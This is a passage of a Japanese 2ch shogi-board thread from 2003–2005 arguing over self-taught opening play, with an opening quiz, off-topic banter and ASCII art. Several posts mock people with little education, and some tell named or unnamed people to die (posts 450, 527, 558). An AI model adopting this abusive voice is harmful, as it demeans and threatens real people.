一間飛車は升田九段の本にものってたし
定跡といっていいような気がする。

387 :名無し名人:03/08/20 08:38 ID:Hl28B2r9
升田相手にやったら激怒する気もするが・・・・

388 :名無し名人:03/08/24 07:45 ID:4pQnwffN
相一間飛車になる予感。

389 :名無し名人:03/08/25 01:25 ID:nXrHxHqg
>>386
升田先生が指したのは9間飛車
26から96に振るヒネリ飛車
1間飛車とは違う

390 :名無し名人:03/09/26 21:05 ID:l8FzzTPb
フサ何処行った??

391 :ハマグリ君 ◆ZLTUaz4ne2 :03/10/11 23:22 ID:TfpSfp/x
超チンコ流

392 :フサギコ ◆e51syuFUSA :03/10/14 23:35 ID:um9WRTXp
落とせw

393 :名無し名人:03/11/06 01:35 ID:R0D/d2WL
なんか難しいこと言ってるんで三流大学の俺には良くわからんが
プロじゃないんだし、自分が楽しめれば良いんじゃね〜の?
もちろん、楽しめればといっても最低限のマナーを守る前提だが。
とりあえず、何が最低限のマナーなのかってのはスレ違いなのでスルーしてくれ

1>>
 「低学歴」を連呼し卑下する方なのであれば、さぞかし自分の学歴に自信がお有りの方なのでしょう
それほどの方なら、プロとして活動していないのであれば、将棋等の生産性の極めて低い世界よりも
もっと物事を効率的に運べる趣味に移行された方が宜しくないですか?

 もし、それでも将棋に対して何か魅力を感じるのであれば、
そういった低級者に対し、定跡等の大切さを指導されるのも、
確立した知性をお持ちの方がすべき役割の一つではないでしょうか。

 匿名の掲示板で、不特定の人を卑下するような言い方をされているようだと
いくら高学歴でも、自らを二流、三流に貶める事に成りかねなくはないでしょうか?
 それではあなたの言う「低学歴」の人々と大差が無くなってしまうように思いますがいかがでしょうか

394 :ハマグリ君 ◆ZLTUaz4ne2 :03/11/06 22:08 ID:cP7yrw3l
三流大学の人ってキモイね。

395 :名無し名人:03/11/07 00:16 ID:v8R4j+FS
24ならともかく、yahooあたりだと
半数くらいは原始棒銀か早石田か全くのでたらめ。
まぁ、そんな奴らにも将棋を楽しむ資格くらいはあるだろうけさ。
でも多分、そういう人間って将棋だけじゃなくて人生そのものが全部自己流で
力任せの単純馬鹿なんだろうから、軽蔑の対象になって当然。

396 :名無し名人:03/11/07 07:24 ID:Zf4y2WVD
1は無職

397 :名無し名人:03/11/13 21:51 ID:iItQCgvm
確かに将棋は自己流率が高いな。
アマチュアに限って言えば、将棋の強さは
丹念に学習できる根性があるかどうかとは関係がない。
その結果、自己流の人と低学歴の人の比率が囲碁やチェスより高いのだろう。

でも、ある程度以上のレベルになろうとしたら、やっぱりコツコツ型じゃないと無理だろうけどさ。

398 :フサギコ ◆e51syuFUSA :03/11/21 02:44 ID:OixREX/Q
IDがREX。竜ヲタの俺としてはうれしい。レックスたん(;´Д`)ハァハァ

399 : ◆jH3Q3bIrRM :03/11/23 17:33 ID:LC0FJkOi
ゃぁ

400 :名無し名人:03/11/24 22:01 ID:0qZhtfLz
            ,イ    │
         //      |:!
           //,. -/r‐- 、| !
        /,/ ./ |  _」 ト、
       /\`/  |二...-┘ ヽ
.        i  ,.>、;/ー- 、    l
       ! ノ━、   ,━- \   |
      ,!イ ー-、 )( ,-‐‐ ゛l\.、ヽ.
     /'´|   / | | ヽ    | ノ\ ヽ、
    \  `l  /ゝ、_ , ヽ ノ lィ  `''-;ゝ
      `‐、jヽ ー==-‐  ゙イ" }_,,. ‐''´
         `´\  ー   / ,ィ_}
.          |_ `ー ''´ _」'
        _,.| ~||「  ̄ 人|、._
  ,r==;"´  ヽ ミ|||彡   / ` ー`==、-、
. ///,イ  ___ ヽ|||_,,. ‐''´___  | | | |ヽ

401 :名無し名人:03/11/27 01:04 ID:4ao94nCs
自己流の奴って超むかつく〜

402 :かわばた:03/11/29 02:33 ID:kMqD0rsY
高校中退です

403 :暫定 ◆EATzkCF5Wg :03/12/06 11:22 ID:OByI+RHA
scramble-z > http://www.geocities.co.jp/SiliconValley-Sunnyvale/4739/shogi/24AVG2.LZH
scramble-z > 前のと同じとこに置いて、kekka2.bat実行してみ

404 :フサギコ ◆e51syuFUSA :03/12/07 06:26 ID:T6Cf7knC
暫定たんここみてたんだw
俺もログ保持してるくらいなんだけどね。
なにはともあれありがとう。

405 :フサギコ ◆e51syuFUSA :03/12/07 06:28 ID:T6Cf7knC
地下スレってあった方がいいのかなぁ。

406 :フサギコ ◆e51syuFUSA :03/12/07 06:35 ID:T6Cf7knC
もにゅ

407 :ハマグリ君 ◆ZLTUaz4ne2 :03/12/17 02:50 ID:OGIcRUj/
>>339
やああやや

408 :ハマグリ君 ◆ZLTUaz4ne2 :03/12/31 04:58 ID:PbY4CjfU
超むかつく奴って自己流の

409 :名無し名人:04/01/05 18:55 ID:+/M2clAk
週刊少年ジャンプ8号から『スティールボールラン』連載開始!



410 :名無し名人:04/01/05 21:32 ID:8uUWrZwo
やったぁぁぁぁぁっぁぁっぁあぁああっぁあ!

「スティー・ルボー・ルラン」やっと始まるのかあ。

411 :フサギコ ◆e51syuFUSA :04/01/06 07:22 ID:BzcBIdSB
予告を見る限りジョジョの奇妙な冒険とはどこにも書いてないのが心配。
まー荒木絶対神だから(・∀・)イイ!けどな。

412 :名無し名人:04/01/28 01:43 ID:PpDvZq4m
保守すべきか

413 :名無し名人:04/01/30 00:05 ID:GvrApz9f


414 :フサギコ ◆e51syuFUSA :04/02/02 19:43 ID:1HMfS8Lg
クソスレを保守するヤシはDQN

415 :名無し名人:04/02/04 17:44 ID:7wXeP+XX
ふさたんが強豪になる前に
童貞捨てちゃった
ゴメソ

416 :フサギコ ◆e51syuFUSA :04/02/04 18:00 ID:2Z0DTTQP
ごめんなさい

417 :名無し名人:04/02/04 18:19 ID:7wXeP+XX
即レスもらえるとはw
でも素人童貞はまだとってあるにょ

418 :フサギコ ◆e51syuFUSA :04/02/04 19:33 ID:2Z0DTTQP
風俗は意味ないと言ってみるテスト
まぁ童貞も素人童貞も非童貞も物理的には何の違いもないんだけどね

419 :名無し名人:04/02/04 20:28 ID:fDgCvPB2
>>418
たしかにそうかも
肉体的にもそんなに気持ちいいってわけじゃないし
相手も仕事なんだと思うと、気持ち的にも乗れなかった
結局は恋愛とか心が通じ合えたような達成感もないわけだし・・
ちょっとしたせつなさとか罪悪感もかんじた・・
風俗とか男ならみんないってるようなイメージあったけど
やっぱ初対面の人とそういうことするってやっぱ違和感あるし
付き合いとか、酒の勢いでたまにいくとか
特定のとこにかよったりして、擬似恋愛みたいな
そういうのに没頭できる人じゃないと、あんま意味ないような気がした
あえて避けるようなものでもないと思うけど
まあ、真性童貞だっていう余計なコンプレックスは
多少クリアできたかもしれないってかんじ
好きな人同士でやるんならいいんだろうなー
とは思った


420 :名無し名人:04/02/04 20:39 ID:fDgCvPB2
あ、つうかふさたんめぐたんに勝ったんだっけ?


421 :フサギコ ◆e51syuFUSA :04/02/05 07:24 ID:dy6Ec8RC
そういう事考えてるならまだ大丈夫だよ。
というかすごい長文だな、1瞬コピペかと思った。
よほど童貞にコンプレックスがあったのかな?w
俺は最初から諦めてるのでそんなものありません。ぃぇぁぃぇぁ!

ちなみにめぐたんじゃなくてめがたん。よく混同する奴居るなぁ。

422 :フサギコ ◆e51syuFUSA :04/02/05 07:34 ID:dy6Ec8RC
またーり

423 :フサギコ ◆e51syuFUSA :04/02/05 15:14 ID:dy6Ec8RC
初心者か知らんが2ch用語分かってないヤシ大杉
ヽ( ・∀・)ノウンコー = 便 だと思ってるヤシは恥ずかしいぞ
「うんこー」はアムハラ語の「ウンコアン デナ マットー」の略
本当の意味は 来る、来た、ようこそetc
2chではキターとほぼ同じ使いかたをする
ようこそへの返しは 「ウンコアン デナ コイユ」
AAが手を振ってるのも、ようこその意味があるからだ
覚えておけ!

ヽ( ・∀・)ノウンコアン デナ マットー ウンコアン デナ コイユヽ(・∀・ )ノ

424 :名無し名人:04/02/05 15:26 ID:M9fuYnyC
まじ?

425 :名無し名人:04/02/05 15:30 ID:dy6Ec8RC
まず

426 :名無し名人:04/02/05 23:49 ID:+O1VlWiT
童貞なんてどーていうことないよ

427 :名無し名人:04/02/08 18:00 ID:tY6GNndh
ふさたん

428 :名無し名人:04/02/09 18:48 ID:9mbIDwFr
ふさぴょん

429 :フサギコ ◆e51syuFUSA :04/02/10 00:45 ID:OPeEpVHZ
ふにゃあ

430 :フサギコ ◆e51syuFUSA :04/02/10 00:46 ID:OPeEpVHZ
うー

431 :名無し名人:04/02/10 19:36 ID:yCRtpScA
ふさわん

432 :女性棋士:04/02/11 16:56 ID:nmOsfnYn
自己流⇒事故龍になりかねない

433 :名無し名人:04/02/11 18:47 ID:M3CYuFiF
ふさたん鬼藻異・・・・

434 :名無し名人:04/02/11 18:51 ID:HQU/Sf1c
ふさたんはきもくないよ

435 :フサギコ ◆e51syuFUSA :04/02/11 18:52 ID:aS3ngKBX
何だw

436 :名無し名人:04/02/11 19:06 ID:M3CYuFiF
ふさたんの反応の早さにワロタw

437 :名無し名人:04/02/11 22:49 ID:rrBze7Tn
どう打とうが自由だろうが。
そんなつまらんことでむかつく奴は
くされボンボン

438 :名無し名人:04/02/14 10:19 ID:++1a1cGa
道程ではないですが、ぼくは
オナニーのほうが十倍すきです。


439 :名無し名人:04/02/14 12:24 ID:A1+HdXn+
どういう戦形しても自由だが、将棋は打つんじゃなくて指してもらいたい。
ふさぎこ氏は是非七冠王になってもらいたい。

440 :名無し名人:04/02/14 15:09 ID:z7+Kstbs
俺は将棋打つよ。

441 :学びて思わざれば...:04/02/14 15:29 ID:UxaiNaMF
学問の話と比較しているが、まったくの独学で一流を開いた
学者は一杯いるが...むしろ、前例踏襲で、まったくオリジナ
リティを出せない、学者として独創性皆無の人間より価値が
あるな。

将棋は完全に独学で勝つのは難しいが、学問はある一面で成
果を上げればいいという評価法の違いも有る。


442 :名無し名人:04/02/17 20:45 ID:pnUgScTe
>>439
持ち駒は打つよ

443 :名無し名人:04/02/18 19:35 ID:r9SOD7cE
フサギコ氏語る↓

444 :名無し名人:04/02/18 19:53 ID:yNc02kwU
ぱたぱたあしっていう4〜5段の人の将棋は変わってるよね。
いかにも自己流っぽい。

445 :名無し名人:04/02/18 20:50 ID:0DdGTD4p
定跡だろうが自己流だろうが、勝てれば問題ない

446 :名無し名人:04/02/18 20:51 ID:0DdGTD4p
強くなればなるほど、自己流の奴は勝てなくなるから、同じような将棋になるけどなw

447 :女性棋士:04/02/18 22:07 ID:5+J7Y7u9
自己流でわるいか?
時間勝なら自己流上等(優勢)

448 :名無し名人:04/02/19 23:18 ID:Naf4WvD9
女性棋士ってきもい

449 :名無し名人:04/02/19 23:28 ID:GsDHnrU/
>>447 とりあえず、置いておきますよ
http://game2.2ch.net/test/read.cgi/bgame/1076658578/35n-


450 :名無し名人:04/02/20 15:42 ID:ibSqSOYH
>>447
おまえが、この世に存在してる事が悪い

451 :名無し名人:04/02/24 21:11 ID:qR1w05Ux
>>447

http://game2.2ch.net/test/read.cgi/bgame/1076417658/101-121n

またDQNっぷりが爆発してる訳だが。

452 :フサギコ ◆e51syuFUSA :04/02/27 00:23 ID:11891yRW
凄いIDが出たので記念

453 :名無し名人:04/02/27 18:56 ID:n/EO0ONP
>>452
(*^ー゚)ノオメ

454 :名無し名人:04/03/04 23:57 ID:ID9vulnE
>>450 禿同

455 :名無し名人:04/03/07 20:35 ID:Y50c7YKi
age

456 :名無し名人:04/03/07 20:41 ID:KBbE1aD3
超自己流の香具師に勝てない自分にむかつく、、、だろw


457 :名無し名人:04/03/16 12:38 ID:1z4xq2kB
春になるとコテハン女性棋士みたいな粘着ストーカー犯罪者がリアルでも
いっぱい冬眠から覚めてそのへん、プラプラしてるから皆さん気をつけましょうね。

458 :名無し名人:04/03/16 20:34 ID:Jp0r6WLq
粘着マルチポストの奴ってむかつく

459 :名無し名人:04/03/21 20:33 ID:h9UBRZ6n
・・・言おうか言わないか迷ったのですがやっぱり言いますね。
誕生日というそれなりにおめでたい日に
拍手にこんなコメント頂きました。

死ね

んー、拍手をつけた時にある程度イタズラが来るだろうと
予想はしてたんですが、さすがに誕生日に
それもこんなに直球で頂いちゃったので
ミジンコより小さい心臓のチヒロさんは、かなりしょぼくれました。
うちにいつも来て下さってる方じゃないと思います。
たぶんガキでそれも一見さんでしょう。
コメントも拍手で出てくる絵に対してのものでしょうが
描いた私に言ってるのも同じこと。
すいませんねー、生まれちゃって、そして生きてて。
そのうち死ぬんで勘弁してくれますか?(苦笑
「言霊」って分かりますかね?
言葉にはものすごい力を発揮するものがあるんですよ。
「死ね」なんて特にすごいマイナスの力。
例えば・・・
学校のあなたの机に毎日毎日「死ね」って書かれてたらどう思います?
悪意がなくても、やられた本人はすっごい嫌なものです。
拍手も同じです。安易に「死」という言葉は口にしない、書かない方が身のためですよ。
いつかそれはあなたに返ってきますよ?言葉の力を甘くみないでね。
たぶんこんなことを書いても煽るだけか書いた本人には伝わらないでしょうね。
あんまりこういうのが多くてチヒロが耐えられなくなったら
悲しいですが拍手は外しますね・・・。素敵な方からのコメントも頂けるので
なるべくなら外さない方向で頑張ります。
強くなれ、チヒロ!!

ttp://chihiseka.cool.ne.jp/renge/r_index2.html

460 :名無し名人:04/04/07 01:08 ID:Fr0VPIMf
ほっしゅるーむ

461 :名無し名人:04/05/03 07:58 ID:cmyzYhzr
まっしゅるーむ

462 :名無し名人:04/05/19 16:51 ID:xsz3S+gF
遺跡を発見

463 :名無し名人:04/05/20 14:33 ID:QPMLcNb7
ここは精神年齢の低い人が集まるスレですね

464 :名無し名人:04/05/29 16:23 ID:k5JSi59B
自己流ってなぜか位取りが多いよね
なんでかな?

465 :名無し名人:04/05/29 16:34 ID:k5JSi59B
誘導振り飛車と

466 :名無し名人:04/06/05 19:09 ID:jlqWO+PY

>>1よ。ごめんな。お前があまりにも弱そうなんで変態戦法で勝ってしまった。
次は6枚落ちで指してやるから勘弁な。

467 :名無し名人:04/06/19 10:28 ID:mkDAmcM4
あげ

468 :名無し名人:04/06/19 11:56 ID:J8DFVzCu
なんで自己流だとムカつくの?

我流より定跡指しの方が有利なんじゃないのか?
定跡を外れた手は、定跡の指し手より劣るんだから、そのまま勝っちゃえば
いいのに。

要は筋の悪いヤツに負けたからムカついてるだけだろ。
筋悪に押し切られる時点で、ヨワヨワ。負け犬の遠吠えカコワルイ。


469 :フサギコ:04/06/19 17:28 ID:tRXYTIcn
>定跡を外れた手は、定跡の指し手より劣るんだから
既存の定跡を上回る新しい定跡になりえる手かもしれないんだからそんな事言うな

470 :名無し名人:04/06/21 16:39 ID:Cq6KhE/A
>>1の叩いてるのは局面じゃなく最初から最後まで自己流のやつだからな
まず、そんな可能性は除外してよいかと
最初から最後まで新しい定跡に成り得る手を生み出し続けてたらこえー


471 :名無し名人:04/06/22 00:50 ID:RbuOdMvD
低学歴って話言葉で使うんだ・・
学歴ってマジに気にしてるんですか
自分は自分っしょ
ネタならOK


472 :名無し名人:04/06/22 07:24 ID:EdZZeF+U
自己流とは違うけど居飛車対振り飛車しかやらない奴ってむかつく。 
てかずるいぜ。 
相居飛車やれとは言わんが相振りぐらい勉強しろ!!

473 :名無し名人:04/06/22 07:45 ID:05Y3TsvN
>>468
禿  同 

474 :zikoryuuguraitubusiemisero:04/06/24 12:16 ID:Tkh9qEM5
>>468
禿  同 

475 :名無し名人:04/06/24 12:17 ID:jRAeAoBL
>>469
禿  同 

476 :名無し名人:04/06/24 12:28 ID:N78TmyJp
>>1は最後まで定跡どおりにさします

477 :名無し名人:04/06/24 20:00 ID:9hcCtDEU
超ちんこ流

478 :名無し名人:04/06/26 04:16 ID:ixZLf27A
zikoryuuguraitubusiemisero??????????????


つ。ぶ。し。「え」

479 :名無し名人:04/06/26 10:26 ID:NegaiDXv
ふさたんたん
おはよ!

480 :名無し名人:04/06/26 17:37 ID:wh0y8IoU
ほしゅうるーむ

481 :名無し名人:04/06/26 17:45 ID:wh0y8IoU
将棋板で3番目に強い男
フサギコ!

482 :名無し名人:04/06/27 21:10 ID:gmaVq5BI
自己流戦法に負ける理由は、序盤威張った手をさされた時に咎めにいかない(いけない、わからない)から定跡しってるだけで、駒組みの一手一手の意味を理解していない奴がわるい。単に実力不足だわな。

483 :名無し名人:04/06/27 21:13 ID:ezlpldih
そうなのか

484 :名無し名人:04/06/27 21:39 ID:KGED3XPC
>>482が決め手
これがこのスレのすべてである

485 :名無し名人:04/06/27 21:48 ID:ezlpldih
>>469はまちがってるの?


486 :482:04/06/27 23:04 ID:773oGmlJ
【実力テスト】
▲7六歩 △3四歩 ▲2六歩 △8四歩 ▲6六歩
*横歩は定跡知らないので避けたとします。
△8五歩 ▲7七角 △6二銀
▲7八銀 △3二金 ▲1六歩 △4一玉 ▲4八銀 △5二金 ▲4六歩△6四歩
*右四間って先手のこの形の時は有力。
▲4七銀 △7四歩
ここで駒組みを進めていくと右四間にぼこられます。
作戦負けしないためには?以下数手述べよ。

487 :名無し名人:04/06/27 23:17 ID:ezlpldih
4間飛車にするとか・・

488 :名無し名人:04/06/27 23:21 ID:7WsA2wP7
横歩を避けた時点でそれは作戦負けになっても仕方がないな。

489 :名無し名人:04/06/27 23:26 ID:ezlpldih
▲16歩はどういった意味があるんですか?

490 :482:04/06/27 23:36 ID:773oGmlJ
>>487
自分ならどう指すよ?駒組み進める?負けちゃうよ。
>>488
ある意味正解。まあこの局面だけで考えてみてよ。
>>489
これは穴熊をけん制してるんだけど、まあ相手の手を見ながら駒組みしてるって感じ。
駒組遅れるし、損得は不明。>>488同様にこの局面で君ならどうさすか?を考えてみてよ。

491 :482:04/06/27 23:40 ID:773oGmlJ
ヒント、思考の手順は、
1.後手の理想形は?
2.それを防ぐためには?
って感じ。後手は右四間を狙ってるよね。
当然△6三銀〜△5四銀〜△7三桂〜(飛車移動するかは微妙だけど)△6五歩が理想形だよね。

492 :名無し名人:04/06/27 23:42 ID:7WsA2wP7
これ右四間なんかしないで無理やり矢倉のほうがいいと思うぞ。
逆に右四間でつぶされそう。

493 :名無し名人:04/06/28 00:06 ID:uSX5RIeV
問題になってない。

494 :482:04/06/28 00:06 ID:pWKkZKcO
>>492
普通に駒組みするとそうなっちゃうよね。
じゃあ、後手の無理やり矢倉をさせないような、先手の手順を考えてみようよ。
今は手番は先手だよ。

495 :名無し名人:04/06/28 00:11 ID:uSX5RIeV
482はまず自分の答え書いてみ。
それについてかんがえてみようよ。

496 :482:04/06/28 00:13 ID:pWKkZKcO
>>493
まず493ならこう指すって自分の意見がほしいな。
実践だったらどうするよ?俺は指さないって言うの?

497 :482:04/06/28 00:15 ID:pWKkZKcO
>>495
もう答え言ってもいいのか?
コロンブスの卵になっちゃうぞ。言われた後ならだれでも納得できるってやつ。
まあ、言ってもいいけど。ちなみに実践なので終盤まで棋譜はあるよ。
OK?

498 :名無し名人:04/06/28 00:18 ID:uSX5RIeV
つーか、べつに問題じたいに興味ないんよ・・。
いかにも関心してほしそうだけどさ。
さらっとすすめろよ。
で次の話いこうや、ってとこ。

499 :名無し名人:04/06/28 00:23 ID:PkGVfQr1
OKだよ

500 :名無し名人:04/06/28 00:25 ID:uSX5RIeV
はやくしろよ。

501 :482:04/06/28 00:29 ID:pWKkZKcO
ほれ。
▲7六歩 △3四歩 ▲2六歩 △8四歩 ▲6六歩
*横歩を避ける。
△8五歩 ▲7七角 △6二銀 ▲7八銀 △3二金 ▲1六歩
△4一玉 ▲4八銀 △5二金 ▲4六歩 △6四歩 ▲4七銀 △7四歩 ▲2五歩
*このまま組むと右四間でやられそう。▲2五歩△3三角▲5六銀△4四歩でとりあえず角道を遮断しておく。
△3三角 ▲5六銀 △4四歩
*ここまで読めれば十分。自己流戦法にも負けることはないと思う。

まあ単なる駒組みと思って手拍子で指すと駄目ってこった。
序盤にチャンスはいくらでもある。

502 :482:04/06/28 00:33 ID:pWKkZKcO
ちなみに△7四歩では△6三銀を先にすべきだった。
この手順前後が角道を止められる原因となっている。

503 :名無し名人:04/06/29 21:27 ID:aFW6HxgB
>>482-
このスレの結論が出た

504 :名無し名人:04/06/29 21:50 ID:UgFleG6i
定跡にしばられずに我流の将棋で強いやつがうらやましい。
発想がすぐれたヤシの特権。



505 :名無し名人:04/06/29 22:26 ID:Y2UP8QT8
花村さんは定跡もろくに教えて貰えないような環境?で
将棋を指していたにも関わらず強さを認められ特例でプロになったらしいが、
今の時代でも定跡を知らずに並のプロ、またはアマトップ級レベル
まで強くなる事は出来るのだろうか?

506 :名無し名人:04/07/17 16:48 ID:1oxkC1oU
嫌でも定跡に乗っ取ってると思われる。
その上に自分の意図なり作戦なりの為にアレンジを加えるわけでしょう。
それを自己流だなんだというのは単に見る側に柔軟性が無いだけではないか。

507 :名無し名人:04/07/17 22:51 ID:4CuOAlVt
アレンジならいいが、最初から定跡を知らないと思われる奴も多い。
▲7六歩、△3四歩、▲2六歩、△4二玉???

例えば、こんな序盤を指す馬鹿。
これで仮に有段者になれたとしても、低学歴の底辺決定だろ。


508 :名無し名人:04/07/17 23:26 ID:9wNpJTDz
>>507
ハンデだろ。

509 :名無し名人:04/07/17 23:32 ID:g5/RpBsO
>>507
とがめることできる?

必ず悪くなるものを、繰り返し使っているのなら、頭が悪いかもしれないけど、
4手目42玉は十分作戦の範囲内だと思うけど。

510 :名無し名人:04/07/18 03:27 ID:DdKqAnF8
別に坂田三吉やったって構いやしない。
特に相手が対応できない馬鹿ならなおさらだ。
聞いた通りに打って聞いた通りに相手が受けてくれてるから
勝ててるだけのやつが定跡云々語る資格なし。
試行錯誤の結論としての定跡なのにその試行錯誤を知らないんじゃ
「定跡」を知ってるとはそもそも言えないんだよ。

511 :名無し名人:04/07/18 10:04 ID:74Tlja1h
>>507
学歴板にいけよ高卒

512 :名無し名人:04/07/19 14:26 ID:jV18gPLH
「自己流ならば低学歴」とは言えないが、「低学歴ならば自己流」とは言える。
学ぶ習慣がない者は必ず自己流だから。

513 :名無し名人:04/07/19 15:32 ID:NE7WHGkD
自己流というより素人なんだろ。素人相手にしてギャーギャーわめく
つーのも、すいぶんとヒマだな。あ、自分も素人なのか。

514 :名無し名人:04/07/19 15:34 ID:QRExJDHI
我流の香具師のパターン

位取りする→位を目標にされる→指しすぎる←アボーン

515 :名無し名人:04/07/19 16:03 ID:q6pMYn8H
定跡指しで無理筋を咎められない香具師の方がみっともないだろ。


516 :名無し名人:04/07/19 16:11 ID:+lQ57c9F
いえてる

517 :名無し名人:04/07/19 16:14 ID:8qh3gFy/
超自己流の奴は終盤も自己流だからよく自爆するぞ。

518 :名無し名人:04/07/19 21:40 ID:+MJV1c6P
じゃあ自己流に強い奴はいないってことだな。

519 :名無し名人:04/07/20 23:17 ID:K0hpsAmC
>じゃあ自己流に強い奴はいないってことだな。

いないんじゃないの、よく知らんけど。
うちの県大会に出てくるクラスでは見たことないぞ<超自己流
まぁその程度の超自己流に負けるやつにも強いヤツはいないだろうけど。


520 :名無し名人:04/07/21 17:15 ID:10pwokEa
自己流と自己流じゃない香具師の境界線がわからん

力戦形好きが自己流?

521 :名無し名人:04/07/22 10:23 ID:YizVgRb2
相手が何でも右四間飛車っていうのは自己流の範疇?

522 :名無し名人:04/07/22 15:23 ID:6s2OLXwG
相手が何でも四間飛車っていうのは自己流の範疇?


523 :名無し名人:04/07/22 16:47 ID:9ldc0ets
自己流の定義を50字以内で述べよ (配点:10点)

524 :名無し名人:04/07/23 14:39 ID:sLSIK57I
升石ばかりやつ奴は自己流。

525 :名無し名人:04/08/02 01:35 ID:PrCUYJP1
福岡の田中文雄さんは原始中飛車で準アマ名人まで炒ったよ。
一度指したことあるけど豪腕て感じの将棋だった。

526 :名無し名人:04/08/09 02:33 ID:s+Q0vCzB
自己流は頭のいい香具師が多いんだよ

527 :名無し名人:04/08/09 23:38 ID:R5xukhon
takenao2

実名で挨拶なし
詰んでる玉で駒を取り
回線切断の糞野郎
四間飛車の飛先をいきなりついてくる
寒くて弱すぎ死んでくれ

528 :名無し名人:04/08/09 23:41 ID:1aMaD3G0
自己流=力戦形

中終盤が強けりゃ問題ないでしょ

この板のレベルの奴が人の戦法とやかく言えるほど終盤が強いとは思えないがなw

529 :名無し名人:04/08/10 00:43 ID:N1iJyrXM
手将棋は楽しいけどな。
気が抜けないから1局で数局分の充実感がある。
感覚と読みの量・質の力比べになるのが楽しいよ。
ていうか定跡型は仕掛け・狙い筋の知識勝負の面があるからいつも同じ形だと飽きるでしょ。

530 :名無し名人:04/08/10 16:48 ID:7chC6FgH
>528
>この板のレベルの奴が人の戦法とやかく言えるほど終盤が強いとは思えないがなw

序盤も強くないからこそ、1はその超自己流とやらにいいようにやられているのです。

531 :名無し名人:04/09/08 18:38 ID:Zw56mqNg
>>522
角交換でも振り飛車なら自己流だな

532 :名無し名人:04/09/08 19:59 ID:f7+BNLqe
低級者なんですが、強くなりたいと最近思うようになって定石書などを読み始めました。
なるほど勉強になると感じることが自分なりに多々あって楽しいんですけど、
棋力の向上としては逆効果ですか?
みなさんの強くなった過程において、棋力と棋書との関係を理解してる方がいましたらどうか聞かせて下さい。
俺、強くなりたいっス。


よろしくお願いします。

533 :あのねのね:04/09/08 21:31 ID:7bv8S4yP
プロはともかくアマは楽しく打たなきゃ。自己流が好きで、楽しんでんだったら別にいいじゃん。
人がとやかく言うことでもないし。大体将棋ってのはどんな道をたどっても勝てばいいんだよ。
そこが将棋の面白さだもん。僕はホントは囲碁が専門で将棋は4段くらいしかないけど、定石なんて
あってないようなものだと思う。大事なのは真剣に打つことだから。自己流をを否定するほうが、
よっぽどかっこ悪いよ。

534 :名無し名人:04/09/08 21:36 ID:nGHzFWxA
将棋は定跡
囲碁は定石
これ、常識

535 :名無し名人:04/09/08 22:09 ID:IdP7rvAr
今は本とかネットとかあるからまだマシだけど、10年くらい前はすごかったんだろーな。

536 :あのねのね:04/09/08 23:11 ID:7bv8S4yP
言われてみればそうだったね。わざわざ指摘してくれてありがとう。

537 :名無し名人:04/09/09 21:53 ID:bydLA2P2
>>1
お前が負けるならポジションの理解力が足りないせい。
ワンワン!!  耳障りなんだよ

538 :名無し名人:04/09/10 22:42:05 ID:1/dnHXqv
実は超自己流じゃなくて、1が定跡を知らないだけ、というオチに期待します。

539 :名無し名人:04/09/22 23:31:40 ID:qFQTBmlh
定跡を研究して自分の序盤の考え方を作るというのが序盤巧者なわけだが。
そういう奴は奇襲でも対応できるよ。
定跡詰め込み型はまああれだ、>>1みたいな奴ってこった。

540 :普通に:04/09/24 20:11:10 ID:XNQSurwe
>>1は金/銀を早めに2段目にあげておくといいね

541 :名無し名人:04/10/18 15:39:54 ID:WXTcQjfv
つーか糞スレだろ。弱い奴が吠えてるだけ

542 :名無し名人:04/10/18 15:44:24 ID:dKXozf4q
アマチュアの将棋なんて中終盤が全てだ。
定跡研究なんてやるだけムダ

543 :名無し名人:04/10/31 00:25:37 ID:8iftcEK+
>>542
まぁ、将棋だけアマチュアならいいんだが。
将棋がド素人くさい奴は全てにおいてアマチュアだと思うが。

趣味を持ったらある程度勉強するのが普通の人間だからな。
その程度の努力すらできない奴が学問なんてできるかよ。

544 :名無し名人:04/11/04 18:05:19 ID:zWOhloSy
自己流将棋は自動車の運転に似ている。
アクセル踏み込んでスピード出して、急ハンドル切るのをうまいと勘違いしてる低脳。

545 :名無し名人:04/11/04 18:10:28 ID:rmf3f3/w
聞いてるとただ筋の悪い手にやられてここで憂さ晴らししてるだけに思われ。
お前らが単に弱いだけだよ。

546 :名無し名人:04/11/04 21:13:54 ID:+uw5/Y7d
>>544はSPORTSCARにのったおばあさん
君に勝った人は軽トラックにのったオニイサン

547 :名無し名人:04/11/04 21:19:29 ID:qKF7RXiE
要するに>>1は浮雲を指されまくって困っている、と。

548 :名無し名人:04/12/10 15:28:24 ID:YlKojJ0o
自己流の悪手をうまくとがめられない人の側も、勉強が足りないんじゃない?

549 :名無し名人:04/12/28 21:21:41 ID:a/ntYylJ
>>548
側も⇒側が
ではないでしょうか?

550 :名無し名人:04/12/30 08:41:23 ID:5k8Fk7Js
こんな手見たこと無いという人に出会うと、どうとっちめようかとワクワクする
下手すると瞬殺されるスリルがたまらん

551 :名無し名人:05/01/19 22:02:43 ID:7eegeiSA
フサスレあげ

552 :名無し名人:05/01/24 21:23:06 ID:vtq1AFh1
一日一ふさたん

553 :名無し名人:05/02/11 06:51:11 ID:tmyRyf3/
>>1
何となくわかるよ。

554 :名無し名人:05/02/11 08:50:26 ID:FDsUgFqT
違法心流にもムカついてるんだな?

555 :名無し名人:05/02/14 20:57:32 ID:D06qifkT
>>8
学問は自己流でやっても、興味があることならなんとかなるよ。少なくても漏れはなんとかなってる。

556 :名無し名人:2005/03/21(月) 23:27:06 ID:wCqsIE1o
学問っつっても研究とかなると、教科書が無いから自己流でやるしかない。

557 :名無し名人:2005/04/14(木) 00:25:04 ID:O1XMBgDF
>>555
なんの学問か教えて。UFO学?
俺は、学問というと、体系をつくることだと思っている。
つまり、自己流でもいいけど、それを学問にするには、
既成の体系に匹敵する体系をつくる、ちゅうことやね。

ま、あなたの自己流学問はともかく。
将棋はどうせ遊びじゃん。
俺はたまに角頭歩戦法をしたり、筋違い角したりするけど、
それでレート2000前後を行き来しているから、いいと思ってるよ。

558 :名無し名人:2005/04/24(日) 17:30:20 ID:BJiQuy26
まだ若い自己流諸君!
本読んで学ぶ習慣身に付けないと低学歴になるよ。

もう若くない自己流諸君!
いまさら学ぶ習慣身に付けても手遅れだから氏になさい。

559 :名無し名人:2005/04/24(日) 17:33:31 ID:fLnlGDTg
でも低学歴戦法で勝つと気持ちいい

560 :名無し名人:2005/04/27(水) 08:30:39 ID:CPgdnSce
つーか100手まで先読みすれば
何やっても勝てる

561 :名無し名人:2005/04/27(水) 13:01:17 ID:FSIJAhct
「筋悪の人てむかつく」スレたてていいですか?

562 :名無し名人:2005/04/27(水) 15:43:30 ID:nPlpFGXM
べつにいいけど、たぶん自治厨に消される。

